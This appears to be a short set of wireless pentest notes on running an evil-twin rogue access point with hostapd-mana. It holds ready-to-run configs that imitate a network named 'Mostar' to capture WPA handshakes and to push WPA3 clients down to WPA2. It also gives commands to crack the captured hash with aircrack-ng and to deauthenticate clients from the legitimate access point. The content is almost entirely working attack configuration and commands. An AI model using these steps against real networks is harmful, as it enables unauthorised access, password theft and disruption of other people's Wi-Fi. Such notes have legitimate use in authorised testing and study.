Rogue Access Points

Setting up hostapd-mana

# hostapd-mana configuration file github.com/sensepost/hostapd-mana/blob/master/hostapd/hostapd.conf
cat Mostar-mana.conf
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_passphrase=ANYPASSWORD
wpa_pairwise=TKIP
rsn_pairwise=TKIP CCMP
mana_wpaout=/home/kali/mostar.hccapx

# WPA3 : hostapd-mana configuration file to try downgrading to a WPA2
interface=wlan0
ssid=Mostar
channel=1
hw_mode=g
ieee80211n=1
ieee80211w=1
wpa=2
wpa_key_mgmt=WPA-PSK WPA-PSK-SHA256
wpa_passphrase=ANYPASSWORD
rsn_pairwise=CCMP
mana_wpaout=/home/kali/mostar.hccapx

Capturing Handshakes

# Running hostapd-mana
sudo hostapd-mana Mostar-mana.conf

# Cracking the WPA/2 Hash with Hashcat/aircrack-ng
aircrack-ng mostar.hccapx -e Mostar -w /usr/share/john/password.lst

# Deauthenticating clients from the legit AP (if needed)
sudo aireplay-ng -0 0 -a FC:7A:2B:88:63:EF wlan1mon